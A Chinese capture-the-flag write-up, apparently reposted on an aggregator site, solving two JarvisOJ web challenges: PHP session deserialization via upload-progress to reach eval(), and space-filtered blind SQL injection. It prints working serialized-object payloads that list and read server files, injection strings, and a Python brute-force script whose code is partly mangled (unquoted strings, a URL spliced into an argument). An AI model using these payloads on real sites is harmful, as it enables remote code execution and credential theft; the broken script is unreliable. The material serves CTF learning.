首页 > 代码库 > JarvisOJ平台Web题目简单部分writeup

JarvisOJ平台Web题目简单部分writeup

PHPINFO

题目地址:http://web.jarvisoj.com:32784/
访问网址,页面显示:

<?php
//A webshell is wait for you
ini_set(‘session.serialize_handler‘, ‘php‘);
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = ‘phpinfo();‘;
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET[‘phpinfo‘]))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents(‘index.php‘));
}
?>

看到PHP代码中的ini_set(‘session.serialize_handler‘, ‘php‘)就会知道这道题目与PHP中的Session序列话的问题有关,关于PHP中的Session的问题,可以参考我的这篇文章。这里就对Session序列化不做说明。
这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问index.php时就会被php的引擎反序列化。但是本题没有提供写入session的方法,但是可以通过Session Upload Progress来向服务器设置session。具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

<form action="http://121.42.149.60/68b329da9893e34099c7d8ad5cb9c940/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="http://www.mamicode.com/123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

最后在Session就会保存上传的文件名。
下面就对PHP_SESSION_UPLOAD_PROGRESS来写入的方式进行测试。
在本地中,需要对$mdzz进行赋值,然后通过析构函数中的eval()去执行$mdzz中的方法。
在本地创建myindex.php

<?php
ini_set(‘session.serialize_handler‘, ‘php_serialize‘);
session_start();
class OowoO
{
    public $mdzz=‘需要设置方法‘;
    function __construct()
    {
        // $this->mdzz = ‘phpinfo();‘;
    }
    
    function __destruct()
    {
        // echo $this->mdzz;
    }
}
$obj = new OowoO();
echo serialize($obj);

可以看到最后的结果输出了spoock,说明上述的测试是成功的。
接下来就需要获取flag了。
获取项目路径:
通过dirname获取文件路径
设置$mdzz=‘print_r(dirname(__FILE__));‘
序列化得到的结果是O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE__));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
显示结果如下:
技术分享
得到项目路径是在opt/lampp/htdocs

获取文件列表
通过scandir获取文件列表
设置$mdzz=‘print_r(scandir("/opt/lampp/htdocs"));‘
序列化的结果是O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}
显示的结果是:
技术分享
发现存在Here_1s_7he_fl4g_buT_You_Cannot_see.php

读取文件内容:
通过file_get_contents读取文件内容
设置$mdzz=‘O:5:"OowoO":1:{s:4:"mdzz";s:87:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"))";}‘
序列话结果O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
显示结果为:
技术分享
最后就得到flag了。

 

Simple Injection

本题

尝试使用 username=admin&password=123456 ,页面返回 密码错误 
尝试使用 username=user&password=123456 ,页面返回 用户名错误 
那么就说明验证方式是采用的用户名和密码分步验证的。

想法验证

  • 使用 username=admin‘#&password=123456 ,页面返回 密码错误 ,说明后台没有对 # 和  进行过滤。
  • 使用 username=admin‘ or 1=1#&password=123456 ,页面返回 用户名错误 ,上面后台对 admin‘ or 1=1# 中的部分内容进行了过滤。过滤的内容有可能是 or 也有可能是空格。
  • 使用 username=user‘/**/or/**/1=1#&password=123456 ,页面返回 密码错误 ,说明输入的SQL语句能够被执行,这也表明后台仅仅是过滤了空格。
  • 总结,username存在sql注入,同时仅仅只是过滤了空格,那么就是一个盲注了

PoC

整个PoC就是一个基于错误的盲注的步骤了,具体的方法可以参考文章。

  • 查找表 , username=user‘/**/or/**/exists(select/**/*/**/from/**/admin)#&password=123456 ,页面返回 密码错误 ,那么就说明在数据库中存在 admin 表
  • 查找字段 username=user‘/**/or/**/exists(select/**/username,password/**/from/**/admin)#&password=123456 ,页面返回 密码错误 ,说明在 admin 表中存在 username 和 password 字段。
  • username=user‘/**/or/**/exists(select/**/count(*)/**/from/**/admin)#&password=123456 ,页面返回 密码错误 ,说明在 admin 表中仅仅只存在一条记录,接下来就好办了
  • 得到password长度 , username=user‘/**/or/**/(select/**/length(password)/**/from/**/admin)>10#&password=123456 ,通过二分试探法,最终发现 password 的字段长度是32位,说明可能采用的是 md5 的方式来进行加密的。

在确定了password的长度之后,接下来就是利用Python来进行爆破了。

我用的是like匹配盲注

#coding:utf8
import requests
postData={
"username":"‘/**/or/**/1=((select/**/password/**/from/**/admin/**/limit/**/0,1)/**/like/**/‘{0}%‘)#",
"password":"123456"
}
str1 = "‘/**/or/**/1=((select/**/password/**/from/**/admin/**/limit/**/0,1)/**/like/**/‘"
str2 = "{0}%‘)#"
chars = 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
test = []
for x in range(1,33):#控制位数
    for char in chars:
        postData[username] = str1+str2.format(char)
        txt = requests.post("http://web.jarvisoj.com:32787/login.php",data=http://www.mamicode.com/postData).content
        if len(txt)==1202:
            test.append(char)
            str1 = str1+char
            print char
print test

 

 

JarvisOJ平台Web题目简单部分writeup